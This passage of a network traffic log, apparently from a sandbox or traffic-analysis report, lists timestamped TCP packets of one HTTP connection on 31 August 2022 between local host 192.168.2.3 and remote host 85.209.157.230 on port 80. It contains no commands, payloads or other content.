Aug 31, 2022 08:34:30.747956038 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.747997046 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.748214960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.748248100 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.748261929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.748302937 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.748385906 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.748408079 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.748423100 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.748460054 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.748785019 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.748806953 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.748828888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.748868942 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.748966932 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.749006987 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.749022961 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.749061108 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.749852896 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.749891043 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.749905109 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.749923944 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.749947071 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.749967098 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.749982119 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.750001907 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.750370026 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.750403881 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.750418901 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.750463963 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.750603914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.750624895 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.750639915 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.750675917 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.750956059 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.750977039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.750991106 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.751029968 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.751207113 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.751261950 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.751276970 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.751316071 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.751548052 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.751569033 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.751583099 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.751617908 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.751727104 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.751780987 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.751795053 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.751833916 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.752054930 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.752077103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.752091885 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.752204895 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.752228975 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.752248049 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.752264023 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.752285004 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.752487898 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.752510071 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.752523899 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.752562046 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.752768040 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.752810955 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.752825022 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.752866030 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.753150940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.753173113 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.753186941 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.753221989 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.753360033 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.753384113 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.753400087 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.753427029 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.753993988 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.754015923 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.754030943 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.754066944 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.754086971 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.754128933 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.754151106 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.754187107 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.754369020 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.754450083 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.754467964 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.754508018 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.754609108 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.754648924 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.754662991 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.754700899 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.754971981 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.755009890 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.755024910 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.755062103 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.755202055 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.755223036 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.755237103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.755270958 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.755450964 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.755471945 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.755486965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.755522966 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.755650043 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.755671024 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.755683899 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.755717039 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.773107052 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.907052994 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.907088995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.907104969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.907125950 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.907145023 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.907160044 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.907171011 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.907218933 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.907516003 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.907565117 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.907579899 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.907612085 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.907741070 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.907823086 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.907839060 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.907870054 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.907916069 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.907937050 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.907952070 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.907994032 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.908046007 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.908087015 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.908101082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.908138990 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.909761906 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.909790993 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.909806013 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.909893990 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.909920931 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.909939051 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.909955025 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.909980059 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.910469055 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.910494089 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.910507917 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.910551071 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.910600901 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.910621881 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.910634995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.910670996 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.911173105 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.911195993 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.911210060 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.911253929 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.911257982 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.911320925 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.911335945 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.911384106 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.911664009 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.911701918 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.911715984 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.911758900 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.911982059 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.912018061 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.912039995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.912070990 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.912146091 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.912178040 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.912195921 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.912237883 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.912245989 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.912267923 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.912281990 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.912319899 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.912540913 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.912597895 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.912616968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.912780046 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.912822008 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.912837029 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.912846088 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.912914991 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.913203001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.913227081 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.913240910 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.913294077 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.913314104 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.913336039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.913348913 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.913389921 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.914057016 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.914083004 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.914098024 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.914140940 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.914160013 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.914181948 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.914196968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.914227962 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.914458990 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.914504051 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.914519072 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.914551020 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.914597988 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.914618969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.914632082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.914671898 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.914978981 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.915019989 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.915035963 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.915080070 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.915083885 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.915110111 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.915123940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.915159941 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.915549994 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.915570974 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.915585995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.915620089 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.915661097 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.915673018 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.915688038 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.915724039 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.916244030 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.916269064 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.916284084 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.916325092 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.916346073 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.916359901 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.916371107 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.916393995 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.916802883 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.916824102 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.916840076 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.916881084 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.916883945 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.916903973 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.916917086 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.916944981 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.917767048 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.917795897 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.917812109 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.917860031 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.917880058 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.917900085 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.917912960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.917913914 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.917937994 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.917983055 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.918004036 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.918025970 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.918039083 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.918051004 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.918087006 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.918319941 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.918340921 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.918380976 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.918404102 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.918407917 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.918500900 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.918521881 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.918564081 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.918582916 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.918598890 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.918622971 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.919672966 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.919703007 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.919723034 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.919737101 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.919805050 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.919928074 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.919949055 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.919969082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.919969082 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.919984102 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.920012951 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.920345068 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.920381069 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.920422077 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.920423031 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.920439005 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.920572996 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.920594931 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.920634031 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.920634985 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.920650005 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.920674086 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.921130896 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.921183109 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.921216011 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.921231031 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.921258926 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.921328068 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.921366930 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.921382904 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.921432018 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.921447992 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.921500921 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.921896935 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.921941042 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.921962976 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922003984 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.922065973 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922132969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922154903 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922168016 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922199965 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.922220945 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922261953 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922265053 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.922338009 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922360897 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922398090 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.922641039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922662973 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922683001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922697067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922729015 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.922771931 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922791958 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922813892 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.922853947 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922868967 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.922899008 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.923219919 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.923243046 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.923269033 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.923285007 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.923305035 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.923305035 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.923338890 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.923355103 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.923387051 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.923402071 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.923428059 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.923748016 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.923783064 CEST	80	49763	85.209.157.230	192.168.2.3
